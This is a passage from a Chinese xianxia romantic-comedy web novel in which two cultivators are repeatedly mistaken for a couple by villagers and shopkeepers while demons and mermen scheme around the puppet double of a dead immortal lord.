“知道是知道,”魔尊耸了耸肩,像只滑溜溜的蜗牛似的,直起身来,慢吞吞绕着自己刚才的位置,侧头看着仙尊,似笑非笑走了两步,用一种十分挑衅的语气问,“你又不承认,我为什么要把人给你?那是我的人!不是你的!我亲手做出来的人偶,难道还能归你不成?不要欺人太甚!”
他顿了顿,忽然又用一种温和了些许但更加挑衅的语气,笑眯眯对仙尊说:“只要你现在滚回去,我可以当做什么都没有发生过,你要是执迷不悟,我可不会跟你客气,你别忘了,你轻易杀不了我!你今天真要找事吗?”
仙尊沉默了一瞬:“看来你是说不通了。”
二人又打了起来,魔尊落败,捂着胸口吐了一鲜血靠在墙上,仙尊看也不看他一眼,从他身边经过直直走向那张仍被轻纱遮盖的大床,抬手一挥,纱幔瞬息间被杀机搅得粉碎,什么也不剩下,床上陡然亮了起来。
仙尊看着床上那张与自己一模一样的脸皱了皱眉,似乎不满又似乎不适,床上的人察觉到他的情绪,像只蜗牛似的,往被子里缩了缩,团得更紧了一些,紧得像一块放了一晚上但没有一丁点酵母的面团。
仙尊不欲多说,将他打晕,抱起来就走,三步并作两步,一个传送阵法在眼前缓缓转动,放出光芒,仙尊抱着人走了进去。
雪松趁机往里一看,阵法对面是仙尊的住所,他在那里住了许久,熟悉得很,立刻跟了上去,谁知道刚往前踏出一步,世界天翻地覆,原来是梦境已经结束。
他睁开眼睛,往周围一看,天已经亮了,明亮的光从窗户里透进来,但房间里仍然模模糊糊的,像是所有人都睡着的样子。
他往地上一看,地上的魔族昏迷不醒,不远处是吸气声,他转过头去,看见长青猛然睁开眼睛,像是受到了惊吓。
长青应该没有在梦中发现雪松,那他受到惊吓的原因,大约是因为梦醒,突然意识到,自己究竟在想什么惊世骇俗的事。
雪松笑眯眯走过去,向他问:“你醒了?天已经亮了。”
话音未落,雪松成功看见长青受到了比之前更大的惊吓,简直像是一只突然发现身边多了一条绿黄瓜的猫,快要跳起来了。
雪松露出一个微妙的笑,长青回过神来,看见他露出这种表情,又不由得想起了自己刚才的那个梦,起了一身的鸡皮疙瘩,又尴尬又不好意思,垂着眼睛神色十分复杂说:“那我们该走了是吗?”
雪松点了点头:“但那个魔族现在还没有处理。”
长青想了想,抬手开了个阵法:“我回宗门一趟,通知弟子过来把这个魔族带走,由他们看管,我看他是跑不了的。”
雪松微笑着点了点头:“那就拜托你了。”
“不客气。”长青摆了摆手,把魔族处理了,整理了一番衣服,起身向门走去,打算趁着周围现在应该没人的时候,回自己房间去。
雪松一步一步跟在后面送他,他打开门,往外一看,一下子愣住了,本来还以为门外现在没有人的,但是事实恰恰相反——
村长带着两个壮汉,一个提着酒,一个端着肉,身后还跟着两个大婶,一人提着一个食盒子,后面远远坠着几个小孩,似乎是因为好奇,正躲在树干后面探头探脑,往这里张望着,距离并不远,以小孩的视力,要看见这边的情况,绰绰有余。
更别提这些人后面,还有似乎是来散步的村民们,虽然要说整个村子的人都在这,或许有些夸张,但如果说大半个村子的人都在这儿,那就八九不离十了。
长青倒吸一口凉气,以他们和门的距离,或许还没有听见门里的谈话,但现在在门口看见他待在雪松的房间里,一副刚刚醒来的样子,不管怎么样都很古怪啊!
他忍不住立刻解释说:“我们昨天晚上什么也没干!”虽然有此地无银三百两的嫌疑,但这么多人在,解释一句是有必要的。
村长看见他出现在雪松的房间里,也愣了一下,听他这么一说,本来还没想到什么,却忽然像是受到了提示,脸上露出一种微妙的心照不宣的有些暧昧的笑,点了点头,用一种原来是这样的语气说:“我知道了。”
本来有两个房间,一人一个的,完全不会挤到,也不存在住不下的情况,偏偏要住在一起,这不就是舍不得分开的黏黏糊糊的小情侣吗?
大约是脸皮薄,不好意思,所以白天装作只是普通关系,到了晚上没人注意了,就迫不及待挤到一起去,恨不得滚成一团,不然怎么一大早上就急匆匆的要走?怕被人发现吧?还真是年轻人!
村长用一种飞快的速度将二人仔细打量了一番,发现雪松衣服还好,但长青是有些衣衫不整的,心中叹了一声,果然。
实际上雪松衣衫整齐,是因为后半夜的时间足够他整理自己,他不是刚醒来,是醒来有一阵了,这要是还睡眼惺忪,那可说不过去。
长青被村长的语气哽了一下,觉得自己好像解释不清楚了,看向了雪松,试图让雪松帮帮忙。
殊不知这个举动,落在村长和其他人的眼里,完全就是情侣做派,毕竟,谁家兄弟朋友发现事情和自己想的不一样,第一反应不是继续解释或者放弃,或者顺势开玩笑,又或者找证人,反而是看向自己身边的人求助呢?情侣间的依赖已经展露无遗了!
雪松接收到了长青的目光,笑眯眯走出来,十分认真,点了点头,对众人说:“我们昨天晚上什么也没做,只是聊了聊天。”
提着食盒的花大婶用一种怜悯又痛惜的目光看他。这孩子怎么这么乖哦!让干什么就干什么?还这么认真!只怕被人吃干抹净了,还要帮别人数钱呢!真是可怜孩子!
花大婶身边的牛大婶悄悄瞪了长青一眼。都跟人待在房间睡了一晚上了,还不认账!衣服都没穿好呢,就翻脸!还让人解释!也真干得出来!
第44章
这下子, 长青也尝到了有口难辩的滋味了,神色复杂,欲言又止, 忍不住再次看向了雪松, 算是忽然对雪松之前的情况感同身受了,又有一点疑惑。
雪松真不是故意想让别人误会他们吗?
“二位, ”村长干咳一声, 打断了长青对雪松的注视,“我们来给你们送饭了, 正好大家都在,洗漱了立刻就吃吧?不然等会儿冷了就不好吃了。”
果然是年轻小情侣, 说一句话就把眼睛转过去了, 一分一秒都不肯错过的, 要是没人打断, 恐怕能一直看下去吧?
究竟想要看到什么时候?地老天荒吗?这种情况根本不需要遮掩吧?因为根本没遮掩啊!或者说遮掩了也没用,太明显了, 太明显了!
雪松看向长青问:“昨晚的事情麻烦你了, 你也没休息多久,要不吃点儿,等会休息休息再走,养精蓄锐嘛?”
花大婶距离他们很近,听见了他们的话,睁了睁眼睛。昨晚的事情?昨晚的什么事情?不是说什么都没有做吗?那有什么可麻烦的?果然刚才的话是假的!
他们昨晚不仅做了事情, 而且是一个麻烦另一个,花了好一段时间,所以才没能休息多久!除了那种事还能有什么?
更何况,什么事用得着专门养精蓄锐?他们不是说只是路过吗?看来他们准备有空的时候, 重复昨天晚上的事情呢。
“如果你愿意留下来,”长青想了想,就算他着急走,也不能立刻就走,那太像落荒而逃了,更何况他一个人走,也没什么意思,就说,“那我也留下。”
村长忍不住摇了摇头。一个留下来,另外一个就跟着流下来,简直像是在锅里被煮化了就黏在一起的两块年糕,感情太好了!一般人可做不到!不是情侣根本不可能吧?!
雪松点了点头:“那就留下来,吃过饭休息休息再走。”
吃过十分丰盛的一餐,众人各自散去,长青回房间休息,午休之后,从床上起来,精神饱满,出门去散步,在路上遇到了花大婶。
花大婶手里挎着个篮子,一副刚刚办完事的样子,在路上见到他,没想到他已经睡醒了,表情有点惊讶,立刻对他挥手。
他走过去,花大婶就拉着他絮絮叨叨起来:“小伙子你年轻,你听我一句劝,小情侣闹矛盾,那就是床头吵架床尾和,没有不会好的,你别太放在心上。”
长青完全想不到花大婶说的小情侣是指他和雪松,只想到了雪松和仙尊,若有所思,点了点头,又想到仙尊已死,雪松痴心不改,自己似乎毫无希望,皱了皱眉,脸上露出颓丧的神色:“我知道。”
花大婶看他的表情,还以为他想到了雪松和自己,也不知道他们是不是吵架了,但看起来像,毕竟他们的气质都偏斯文,似乎不是动手的类型,脸上身上也没伤,早上还有点蜜里调油似的,就说:“很多时候啊,两口子吵了架,没有什么的,家家户户都有吵架的,吵完和好,感情反而更好呢。”
长青皱起眉头。仙尊虽然死了,但如果仙尊活过来,对雪松岂不是失而复得?他们要是吵一架,以他们的感情,一定很快就能和好吧?到时候和好了,关系肯定比现在还深。那他又算什么呢?他在心里默默叹了一口气,脸上不由自主带出了些许失落的神色。
花大婶还以为他失落是因为早上对众人说,昨天晚上和雪松什么也没做,惹恼了雪松,所以,私底下雪松不理会他了,靠近了一些,低声给他出主意说:“只要服个软低个头,对面一定不生气的。”
长青若有所思:“是吗?”仙尊已经死了,不管雪松怎么生气,仙尊是不可能重新出现来服软低头的,这么看,他们复合的概率不高。
长青高兴起来:“谢谢!”他说完,就迫不及待走掉了。
花大婶还以为自己的劝说起了效果,也高兴走掉了,同时,更加坚定了,长青和雪松是一对的认知。
如果真不是一对,刚才听了怎么不反驳?
雪松并没出门,只是在房间里打坐,听见有人敲门,走过去打开一看,门外是牛大婶,牛大婶挎着个篮子,一脸严肃对他说:“我本来不想来的,因为有事,但我想了想还是来了,因为我觉得,有些东西你应该知道。”
看对面这样严肃,雪松险些还真以为对面要说什么重要的事,但牛大婶接着说:“就是夫君不好,也是可以和离的,更别提,还不是夫君的,没有父母之命,媒妁之言,就算两相欢好,也只能算两情相悦,若是不愿,随时可以走。”
雪松明白牛大婶是在说长青的事,因为之前众人误解他和仙尊是一对已经不止一次了,他对这种被误解的情况十分熟悉,只不过,从前旁人就算有误解,也误解他和仙尊,现在误解他和长青,倒算得上新鲜。
从经验上来看,他知道直接解释对面肯定是不信的,反而会觉得他在欲盖弥彰,或者干脆就是不好意思,因此他想了想,没有解释,仿佛默认又仿佛听不懂一样,笑道:“我知道,要是我找的人不好,我一定走的。”
牛大婶听他这样含糊,忍不住恨铁不成钢问他:“那你找的那个,究竟为什么那样?他不负责啊!”
长青走到不远处,听见牛大婶的话,停了下来。找的那个?仙尊吗?为什么那样?为什么明明看见误会却不出来解释?
雪松眨了眨眼睛,一想到自己是正在迫害长青,就觉得想笑,一脸热恋中的情侣什么都听不进的样子,认真辩解说:“他不是不负责,只是为我考虑,所以才要走,不然,大可以留下来,只是名声不好。”
长青愣住了。仙尊抛下雪松死了,雪松居然觉得,这是仙尊为他考虑?这么说在雪松心里,不为他考虑才会留下来?因为名声?可仙尊哪里是在乎名声的人?仙尊分明是在乎雪松,才会是现在的结果!
牛大婶觉得他没救了,忍不住摇了摇头,十分无可奈何:“你这孩子!真像听不懂似的!看着挺聪明的,不应该呀!算了、算了。”
“他要是对你不好,你就回来找我,我这虽然没有大房子,也没有多少地,但腾出一个地方给人住,多加一双筷子还是行的,”牛大婶嘱咐了一番,转头准备离开,一眼看见不远处准备回来的长青,又转头对雪松说,“别带他来!我最看不惯这种不负责的了!”
雪松仍然辩解说:“他很好!”
牛大婶摇了摇头,只当他现在被感情蒙住了双眼,什么都看不清楚,也就不与他计较,走远去了。
长青能感受到牛大婶对于自己那种微妙的不满意,也不是不知道来源,忍不住摇了摇头,无可奈何,又觉得有点好笑,走到雪松面前说:“他们倒好像真觉得我跟你是一对儿了!”
雪松笑眯眯回答:“只是误会而已。”
长青顿了顿,心念一动,忽然忍不住想问:“如果,不是误会呢?”
“那算他们眼力好。”雪松满不在乎耸了耸肩。
长青有些失落,这不是他想试探得到的结果,但这也是可以预见的,他在心里叹了一口气,也就调整过来,向雪松问:“饭也吃了,休息也休息了,那我们现在就走,还是过会儿再走?”
雪松没有什么继续留下来的必要,就说:“现在走吧。”
长青点了点头,二人一起去找了村长,说明了要离开的事,正好花大婶和牛大婶也在,两个大婶似乎刚刚交流完,看见他们一起来了,还在交换眼神。
我就说他其实还是有救,是个知错能改善莫大焉的好孩子呢。
得了吧,虽然我确实看见他去找同伴了,但如果他是因为听了你的劝说才去找的,可见其是心不诚,不然自己就能想出来,应该怎么做,一开始也不见得犯错,别太指望他了。
不管怎么样,他们已经和好了,看起来气氛很融洽,不是吗?
这倒确实,既然他们已经和好了,我们也没什么可掺和的,随他们去吧,他们总比我们更了解对方些。
花大婶接收到了牛大婶的意思,赞同点了点头。
村长听说二人要走,挽留了一番,但二人去意已决,不想过多打扰,也不想兴师动众,村长就把他们送到村口挥了挥手。
二人腾云驾雾,很快到了东海,落了地之后,时间已晚,他们就地休息了一夜,第二天一早,就去找了三生幻境石。
为了避免这石头对凡人造成影响,这东西是存在东海水中的,但要是存在表面容易被凡人打捞起来,存在深处又漆黑无比,要是无人看管,还不知道会变成什么样,要是不打理,那简直不能用。
所以,原本就生活在水中的鲛人发现那石头后——
第45章
鲛人们干脆围绕着那块石头建起了宫殿, 又在旁边修了四通八达的道路,还有密密麻麻的洞府,干脆住在了附近。
对石头和鲛人们感兴趣的人来到这里, 发现情况和从前大不一样, 或是留下来摆摊,或是回家去谈论, 久而久之, 这里越发热闹。
现在看来,已经像是水下的一座小城, 可以当做观光景点了。
长青知道三生幻境石在哪,但是走过去之后, 被鲛人在门口拦住了, 只能看见宫殿, 看不见石头。
守门的鲛人告诉他, 这里每日十分客满,今日已经满员了, 不许再入, 他要是想进去,得提前预约才行,从今天开始预约,至少也要等到一周之后才能进去。
他皱了皱眉,觉得时间有点长,但考虑到最近似乎没有什么重要的事情必须要去做, 也不是等不起,就先预约了两人份的。
鲛人让他在登记簿上写下自己的名字,递给他两块贝壳,告诉他, 一周之后,带着这两块贝壳过来,就可以进去了。
他点了点头,带着贝壳离开了,雪松在不远处等他,见他过来,看了一眼他手里的贝壳,好奇问:“什么时候能进去?”
“一周后。”长青把手里的贝壳分了一个给雪松,转告他去的时候拿出来证明身份,他收下贝壳,若有所思,点了点头。
“那我们之后去哪住?”雪松把贝壳收进储物戒指问道。
“我找找看吧。”长青将街上的旅店都望了望,一边走一边回答。
雪松点了点头,跟在他身后,直到他找到一家合适的,开了两间房,拿到了钥匙,开了门,走了进去。
“我就住在隔壁,”长青拿着钥匙说,“有什么事随时找我。”
雪松点了点头,感觉这个画面似曾相识,想起来上一次他们住在旅店的时候,仿佛还是在琉璃村出任务,结果当天晚上就遇到了,寻仇入梦的鬼。
希望今天一切正常吧。
抱着这种希望,雪松关上门,将房间打量了一番,确认没有什么不对劲的地方,松了一口气,早早洗漱了,有些身心疲惫,立刻倒在床上睡了。
半夜忽然听见房间里有悉悉索索的声音,担心是老鼠,所以睁开眼睛来看,结果一睁开眼睛就看见床边有一个人,直勾勾盯着他,两只眼睛在夜里发亮,像夜明珠似的。
他吓了一跳,毫不犹豫,反手一击,对面往后一退,躲开了这次的攻击,却不由得震惊起来,忍不住大声问道:“你怎么会这样的招法?这根本不是普通人能知道的!更不是寻常人能用出来的!你是什么人?居然还长着这样一张脸?”
雪松不明白他为什么问这个,因为刚才的随手一击,不过是下意识的反应,根本没有细想,自然也不知道有什么特别,值得对面这样一问。
因此他皱着眉头说:“听不懂你在说什么。”
隔壁的长青听见这里的动静,过来敲门一边敲一边在门口问:“我刚才好像听见你房间里有什么东西在响,发生什么事了吗?”
床边那个人皱着眉头往门口一看,骂道:“早不来晚不来,偏偏这个时候来,真是坏事!”
话音未落,他已经摇身一变,成了一团流水,顺着旁边不远处的窗户缝隙,迅速溜走了。
长青在门口听见房间里有雪松之外的人的声音,更加着急,使劲敲起门来:“什么人在讲话?快开门!不然我不客气了!”
雪松走过去开门,长青愣了一下,顺势往他身后张望,没有看见人,有些疑惑问:“究竟是怎么回事?”
雪松请他进门来说,因为同一层楼的其他住户,已经因为这里的声音而忍不住要开门了,他听得见开门的声音,就进去了。
雪松刚把门关上,外面其他房间的门就打开了,没有看见走廊上有什么,皱着眉头又把门关回去了,顺便骂骂咧咧,吵了两句,怎么会有人大晚上不睡觉,一个劲敲门还不见踪影,也就没了。
雪松请长青坐下,说了刚才的事:“我躺在床上听见有声音,以为是老鼠,睁开眼睛一看,有人在我床边,你听见的声音,大约是那个人发出的吧。”
“你不确定?”长青有些疑惑。
“我能确定什么?”雪松挑了挑眉:“我一开始可是睡着的,哪里知道那许多?他也没承认,我也没来得及问,你就来了。”
“幸好不是明天要去参观那块石头,”长青若有所思,“不然,第二天早上一定没精神的。”
雪松点了点头。
“你刚才看见那个人长什么样穿什么衣服了吗?声音怎么样?有没有特点?也不能白让他来,要是能找到,好歹要处理的。”长青问。
雪松想了想,摇了摇头:“那人用了混淆法术,我看不清他的脸和衣服,但从他身上那种在此地游刃有余的感觉,他应该是鲛人,本地的,不然不会对这里这样熟。至于声音——”
雪松想起他临走前说的话,顿了顿,不知道是什么意思,觉得说出来徒增麻烦,就含糊道:“震惊,好像认识我用的招式,也许看谁用过吧。”
长青将信将疑点了点头:“原来是这样。”他想了想:“虽然那个人已经走了,但万一又回来呢?那你一定不安全的。反正我都已经来了,今天晚上我就在这,替你看着,你再去休息吧?”
“那好吧。”雪松不想和他继续谈论刚才那个人的事,觉得他说的有道理,也确实想休息了,答应完之后,就躺回床上重新睡着了。
长青信守承诺待在房间里坐着,睁着眼睛,防备着之前那个人卷土重来,一夜未眠,于修仙者而言,这不算什么。
除了精神稍稍紧绷些,别的还好。
与此同时,从雪松房间里逃出来的鲛人,解除了混淆术,把身上一堆杂七杂八的东西都取下来丢到一边,感觉自己像是刚从麻袋里面探出头来,深吸了一口气,找了个椅子,坐了下来,腰背迅速弯了下去,整个人放松不少,连表情也舒适了,一副回家的样子。
旁边的鲛人问他:“你不是去旅店客房了吗?没得手吗?”
他摆了摆手,一脸无可奈何,十分疲惫回答道:“别提了!你不知道!今天新来的那两个客人之一,发现我了,没有睡熟,还跳起来打我,这倒也没什么,正常反应而已,但是,他用的招式十分眼熟!”
旁边的鲛人好奇问:“能有多眼熟?”
他倒吸了一口凉气,心有余悸说:“从前仙尊也来过这里,当时我们的人,也去探过仙尊,我当时跟着别人去的,只是个跟在后面的小喽啰,毕竟仙尊那时候已经声名鹊起,听起来就不像寻常人,只让一个人去,恐怕回不来,所以多去几个人照应。”
旁边的鲛人听得兴起,连连点头。
“仙尊早有准备,我们一去他就发现了,完全是设圈套给我们,我们不知情,一脚踏进去,他就开始收网,”他颤颤巍巍咬着牙,压着心里那股迟来的恐惧,像一个劲往水面上浮的泡泡一样,无法控制自己,“他当时用的招数,和我这次找的那个人,用出来的一模一样!如果不是知道,他确实已经死透了,我几乎怀疑,是借尸还魂!”
旁边的鲛人若有所思:“借尸还魂,是不太可能,但用一样的招式,莫不是情人?毕竟,一般人可不会把自己专用的招式随意交给别人。感情要是不好,做这种事,不是折磨自己吗?”
他猛然一惊:“原来如此!怪不得他们长着一样的脸!一定是感情太深了,一个死了,另外一个接受不了,就干脆把自己变成他!”
他狠狠打了个哆嗦,起了一身的鸡皮疙瘩,一脸惨白,充满了震惊和惊恐:“好变态!幸好我及时跑了!不然还不知道怎么样呢!”
今天的事情稍稍有些不同寻常,跟踪雪松的魔族,自然把事情上报给了魔族的长老,长老听后哈哈大笑:“一样的招式?只怕是当初魔尊见仙尊对他有意,就顺水推舟,把人偶送了出去,暗中让人偶潜伏在仙尊身边,把仙尊骗得团团转不说,还趁机学到了仙尊的独家招式!魔尊不愧是魔尊!”
魔族们若有所思,觉得很有道理,连连点头,跟着吹捧起来:“魔尊只靠一个人偶,就轻而易举办成了别人都办不到的事,真了不起!”
“这件事上那个人偶居功至伟,”魔族长老慢条斯理说,“你们且跟着,不要错过任何消息,我看,还有好戏呢!”
魔族们连连点头:“是!”
魔族们正要切断通讯,长老忽然想到,魔尊亲手制作的人偶,不可能没有强行控制的办法,就丢给魔族们一个小鼓说:“这是魔尊曾经的控制法器,玲珑小鼓,你们拿着这个,偷偷靠近人偶,试试效果。”
第46章
要是玲珑小鼓, 真能控制雪松,那就说明雪松确实曾经是魔尊的人偶,而且, 至今带着洗不掉的印记。
如此, 魔族们就可以利用这一点,来控制雪松为他们办事, 绝对可以达到事半功倍的效果。
毕竟, 如果不是知情者,应该很难有人会怀疑, 一个长得和仙尊一模一样的人,可能和魔尊有交集。
“小心一些, ”魔族长老对魔族们嘱咐道, “不要被发现了, 最好趁人偶脆弱的时候使用法器, 否则,容易被反噬。”
魔族们点了点头, 把东西收了起来, 回答道:“我们知道了。”
次日一早,旅店的小二就来敲门,一边提供叫醒服务,一边问:“请问需要我们为您提供早餐吗?这是额外收费的项目。但只要这儿有的,您给了钱,我们就一定能给您带来!”
雪松醒了过来, 从床上坐起身,长青向他问:“你要早餐吗?其实来这尝尝也好。这里的食物和别的地方都不一样。就当是来玩儿了?”
雪松点了点头,眯着眼睛低着头,还有一点想躺回去再睡一觉, 毕竟昨天晚上被打扰过了,没能好好睡,现在还有点迷迷糊糊的,随口道:“那给我带一份东街珍宝堂的小鱼干吧。”
长青点了点头,一边去开门一边说:“正好我也没尝过,那我也来一份这个吧。”
他开了门,对门外的小二说了地址和食物名,问了多少钱,把钱付了,小二收了钱,笑眯眯说一定尽快把食物带过来,准备走的时候,又像是顺口恭维一般道:“那地儿的小鱼干做的好,尝过的客人都念念不忘,来第二次一定还要点的,二位真是行家,一来就知道这个!”
长青顿了顿,微笑了一下:“是吗?”
他忽然记起,昨天并没有和雪松去过那边,那雪松是怎么知道那边有这么一家店和那么些东西的?曾经和仙尊一起去过?那可真是尝过就念念不忘了!
不知从前什么时候去的,到现在都记得这样清楚,不管是名字,还是东西,别人一问,就立刻回答,一点的多余的回忆或者思考的时间都没有,已经想了很久了吧?
啧,感情真好啊。让人几乎忍不住有点嫉妒了。幸好仙尊已经死了,感情再好也不会活过来,不然,他说不定会因为被迫围观情侣秀恩爱而爆炸。
“是啊,是啊。”小二连连点头,说完又问:“那您这要是没什么事儿,我现在就去买去了?”
长青点了点头,小二转身离开。
小二带着钱去了珍宝堂,买了两份小鱼干,珍宝堂的人问:“我们今天做活动,情侣第二份半价,要买活动情侣款吗?会便宜一点。”
小二想了想,明明有两个房间,却在第二天早上出现在同一个房间里,又不是缺钱或者没有多余的房间,除了情侣,还能是什么呢?
而且昨天晚上听见那层楼大晚上砰砰的响,之前还带着些许惊呼声,究竟在干什么,是显而易见的吧?想必不会有情侣之外的人做这种事。
既然如此,小二点了点头,对店员说:“请给我活动情侣款的。”在不会招惹顾客的情况下,能省钱总是好的。
店员把小鱼干打包好之后,递给了小二,小二付了钱,转身离开,回到了旅店,站在房间门口敲了敲门。
还是长青过来开的门,小二一边把东西递出去,一边试探着说:“今天那边搞活动,情侣款的第二份半价,所以买了情侣款的。”
长青面不改色接了东西点了点头:“我知道了。”
小二松了一口气,转身离开。
他就说他们是情侣吧!如果不是情侣,这个时候应该已经跳起来了!或者忍不住想笑之后辩解。他们根本没有这种反应,说明他们就是情侣!
更何况,现在都已经早上了,两个人也都已经醒了,即将准备吃早餐了,居然还是不分开,仍然待在一个房间里,这不是黏黏糊糊的热恋中的小情侣,这是什么?
能走的机会可多了!但不走还开门,这不是默认自己是房间的主人之一吗?典型的情侣症状!他不会认错的!
长青把两份情侣款的小鱼干放在了桌上,雪松已经洗漱之后,走了过来,看见桌上包装完好的鱼干,坐了下来。
“现在可以开始吃了吗?”雪松看向长青问。
“可以,”长青点了点头,“你吃吧。”看见情侣款的包装,居然一点反应都没有吗?这么平淡?果然是曾经见过,所以见怪不怪了吧?
仙尊曾经来过这里,当初和他一起来的就是仙尊吧?他们甚至是一起吃的情侣款吗?!这也太腻歪了吧?!
雪松什么时候记起这些东西的?他记起这些东西,居然面不改色的?从外表上看,完全看不出来他想起了什么!真是好耐性。
雪松拆开包装,咬了一口,表面上全是红通通的油亮亮的酱汁,整只鱼已经被炸得酥透,嚼起来干巴巴的,脆脆的,带着一点咸鲜的辣味,香气扑鼻,酱汁四溢,看不出本来的模样,只是一长条。
长青看着他拆开包装如此熟练,更加笃定他绝对曾经来过这里,而且尝过这家店的食物,不然怎么会一点犹豫都没有呢?
不过,长青隐约记得他之前从来不吃鱼的,就试探着问:“你喜欢这个?”
雪松顿了一下:“这个味道不错,没有刺,看起来也不恐怖,又是本地特色,价钱也不贵,所以还好,特别喜欢,倒也谈不上。”
长青将信将疑,点了点头又问:“那你喜欢鱼吗?”
雪松担心他真以为自己喜欢鱼,以后顿顿都上鱼,连忙摇头回答:“没有,只是觉得这里的这个比较好吃而已,其他地方的,我是不吃的,因为完全不一样。”
其他地方的鱼,又有刺,又没有浓郁的酱汁,又有很清楚的鱼的形状,有些甚至能看见死不瞑目的,有点恐怖的眼睛,闻起来有一股腥味,一尝起来能很明显感觉到是鱼,也不一定是辣的,根本不在他的食物审美点上,他没有办法接受。
长青缓缓点了点头。
这里的鱼是鱼,其他地方的鱼也是鱼,能有多大的差别?其他地方根本尝都不尝,在这里就一口一口吃下去了,恐怕有差别的,不是鱼而是人吧?
因为当初和仙尊一起来吃这里的鱼,所以对这里的鱼很有好感,才能吃下去,是这样吧?
能吃下这里的鱼,完全是因为仙尊吧?和鱼本身关系不大吧?吃的不是鱼,是关于仙尊的回忆吧?
因为吃掉这里的鱼可以回忆起仙尊,就好像仙尊在身边一起吃鱼一样,所以才能吞掉自己本来不喜欢的鱼吗?可恶!居然能为仙尊改变自己到这个地步吗?
“你也吃啊?”雪松察觉到他一直盯着自己,实在有点奇怪,因此对他说。
长青点了点头,一边回忆着雪松刚才的样子,打开了包装,一边把鱼送入口中,撕咬下了一块,咀嚼起来。
他打开包装的手法完全没有雪松熟练,因此包装稍稍有些损坏,虽然大体上并没有问题,但是细节上,一看就没有雪松拆开的包装更干净。
他不由得再次感慨,究竟要吃多少次才能练出什么熟练的手法?莫不是仙尊以为雪松喜欢这鱼,就天天买来吃吧?以仙尊的性格,倒也不是不可能。听起来感情更好了。
长青磨了磨牙,再次咬了一口下去。
他昨天在外面看见旅店不远处,好像正在举行什么活动,也许活动可以分散雪松对仙尊的注意力,他得把雪松带过去试试。
长青把雪松带到了活动现场,发现这是个仙尊扮演活动,顿时暗自后悔自己来之前居然没有细看,想要把雪松拉走。
但是雪松看了活动,觉得挺有意思的,想要参加,把他拉住了,对他说:“我想试试,你在这等会儿?你把我拉过来,自己先走算怎么回事儿?”
长青犹犹豫豫问:“你真要参加?”
雪松一脸肯定的表情,点了点头:“我想试试。”他自己就是仙尊,模仿自己的活动,他参加参加怎么了?说不定能拿第一呢!
他说着往旁边的活动板子上看了看,发现活动第一名的奖励是,免费双人河流峡谷小舟漂流票,看起来很有意思的样子。
“赢了奖励,你跟我一起去玩怎么样?正好是双人票呢!”雪松眨巴眨巴眼睛望着长青。
长青在心里叹了一口气:“那好吧。”
只是模仿一下仙尊,应该不会出什么事吧?
雪松上台去,在一众使用伪装术把自己变成仙尊模样的参选者中,看起来并无特别之处。
但轮到他表演的时候,他只是往前走了几步,曾经见过仙尊的活动评委就已经目瞪口呆,忍不住站了起来,仔仔细细盯着看:“根本是仙尊在世!一点伪装术的痕迹都没有!”
第47章
评委想了想, 对雪松说:“你能表演一下,仙尊舞剑的神态吗?”
这个十分简单,雪松舞了两下, 评委决定把第一名颁给他, 不过暂时没有提,只是让他等一等, 问后面还有没有参赛者。
在所有参赛者比赛结束之后, 一切毫无悬念,第一名被评委颁给了雪松, 雪松拿了那两张票,就下了台向长青走去。
“你要跟我一起去吗?”雪松拿着票看了看时间, 向长青问。拿都拿了, 他是想去的, 反正也不要钱。
“好啊。”长青略一考虑, 点了点头。
二人便拿着票去了漂流地点,这里同样在举办活动, 而且和之前的活动是联动的, 只不过,有所不同的是,这里的活动是找人扮演仙尊,为来游玩的客人,提供娱乐体验。
雪松虽然没有刻意装扮出仙尊的气质,甚至在见到这里遍地都是和自己一模一样的脸的时候, 下意识对自己的姿态和这些人进行了区别,在细节上拉开了一点差距。
但其他客人看见他的时候,还是不由自主把目光落在他的身上,久久不能回过神来, 甚至转而对同伴说:“虽然那个和其他的扮演者不太像,但是我觉得,他反而更像仙尊一些?”
活动的组织者听说这里有一个客人和仙尊一样,但似乎并没有伪装术,赶了过来,在人群中左右一望,立刻发现了雪松。
当时雪松已经为了避开其他客人的好奇追踪,而和长青一起,检了票,登上了工作人员拖过来的一艘双人小舟。
工作人员在确认安全设施无误之后对他们挥手,嘱咐说:“请准备好,马上就要开始了,刚开始的时候速度会比较慢,但经过一段时间的颠簸之后,就会逐渐加快,不过,我们这里是很安全的,不用担心。”
雪松和长青点了点头,那艘双人小舟就嗖的一下开了出去,经过一片灼灼其华的桃夭之林,刷的一声进入了漆黑的隧道。
隧道在他们进入之后,亮起了点点微光,雪松定睛一看,原来是洞穴的两边,生长着密密麻麻的爬行植物,这些植物清幽飘忽,随风轻轻浮动,十分美丽,把整个洞穴都映照得如同一个幽蓝色的秘密基地,随着他们的小舟经过,那些星星点点的萤火虫一般的幽蓝色小花,在半空中飘舞着,在水花溅起的时候,像是不由自主被吸引,靠近了雪松。
小舟飞出洞穴的一瞬间,那些幽蓝色的小花像是瞬间被漩涡裹挟了,全都粘在了雪松的身上,就好像雪松刚才不是过了一个洞穴,而是沾满了鲜花的草丛。
在明亮的天光下,这些小花仍然十分倔强幽幽亮着,既不过分耀眼,又不销声匿迹,以至于雪松在旁人眼里,像在花堆里打了个滚出来的,整个人都仿佛散着一股幽冥般清幽凉爽的鲜花的香气。
唯有站在高处俯瞰漂流路线的组织者见此情形,大为惊讶。
他倒吸了一口凉气,瞪大了眼睛,一时无法言语,整个人讷讷无声,像是被谁封住了唇舌,只从喉咙里发出得得的响,仿佛有人在他嗓子里扣打字机的键盘,又抠不出来。
旁边的员工担心他的身体,靠近他,担忧望着他问:“需要去休息吗?旁边有个凳子可以坐。”
他缓缓摇了摇头,逐渐从那种极致的震撼中走出来,双眼发直,拉住了员工,十分迫切,需要找人倾诉一下,用一种好像刚刚把舌头捋直的声音说:“你知道那位看起来像仙尊的客人身上的花是什么花吗?”
员工经过培训才上岗的,不是不知道,只不过知道的不多,因此眨了眨眼睛,为了确认重新看了又看,一脸迷茫回答道:“幽冥花?”
“对呀,”组织者重重点了点头,一脸见到了此生从未有过的景象的感慨道,“但你一定不知道,这幽冥花是怎么种出来的吧?”
员工感到了疑惑,微微歪了歪头,他确实不知道这个,不过,同样不知道组织者现在提起这个是什么意思:“说也奇怪,我从前隐约听人提起过幽冥花,假如要种植,必得到碧落黄泉附近,否则花是要枯萎的。
要是不在碧落黄泉,还要种这种花,就得用人肉人血来炮制土壤,培育肥料,阴暗不见光的环境,虽然美丽,但是伤天害理,所以一般都没有,这里是怎么种出来的?倒没怎么听人提起过。”
组织者深吸一口气,缓缓开口道:“你说的都对,不过,这里既不是碧落黄泉,也没有伤天害理的法子,更没有暗无天日的环境。
